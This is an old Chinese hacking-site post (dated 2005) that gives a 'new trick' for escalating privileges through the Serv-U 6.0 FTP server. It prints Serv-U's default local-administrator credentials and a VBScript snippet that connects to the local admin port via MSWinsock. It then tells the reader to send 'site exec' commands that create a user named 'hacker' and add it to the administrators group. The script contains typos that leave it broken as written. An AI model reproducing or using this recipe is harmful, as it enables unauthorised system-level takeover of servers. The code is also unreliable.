统计在线人数...

Serv-u6.0提权新招

[ 来源:不详 | 作者:无从考证 | 时间:2005-9-5 下午 01:15:43 | 浏览:统计中... ]

适用环境:服务器禁用FSO,关掉Wscript.shelll,没有执行权限。

限制:没有更改管理员的密码,或者破解出了Serv-U的管理员的密码。Serv-U默认用户名:localadministrator 密码:#|@$ak#.|k;0@p 下面用MSWinsock。Winsock建立一个连接,并且以System权限添加超级用户,代码如下:
Dim revdata

Dim sendata

Set sock=createobject("MSWinsock.Winsock")

Sock.protocol=0

Sock.connect "127.0.0.1",43958

Sendata="LocalAdministrator"& chr(10) &chr(13)

Sock.senddata snedata

Sendata="#|@$ak#.|k;0@p" &chr(10) &chr(13)

Sock.senddata.sendata



使用这个代码就可以连上FTP了,接下来用Sock.senddata sendata 发送添加有执行权限用户的命令,想必大家该知道怎么做了吧,对了,就是用"site exec net user hacker hacker /add" "site exec net localgroup administrators hacker /add"
共有1人参与评价,平均得分:0分
评论内容只代表网友观点,与本站立场无关! 查看完整内容
   

游客于 2007-12-6 下午 09:09:17 发表评论,打分:0,IP:203.121.69.28

kqyoxehav2mhnzdc12pwc1lfpu2kfetsdm5xr9aiv 

广告位

当前在线人数
QQ:748838 MSN:allen_xia#msn.com E-mail:allenxia666#126.com QQ群:站长联盟北方区-北京(28200145) 站长联盟南方区-上海(67713522)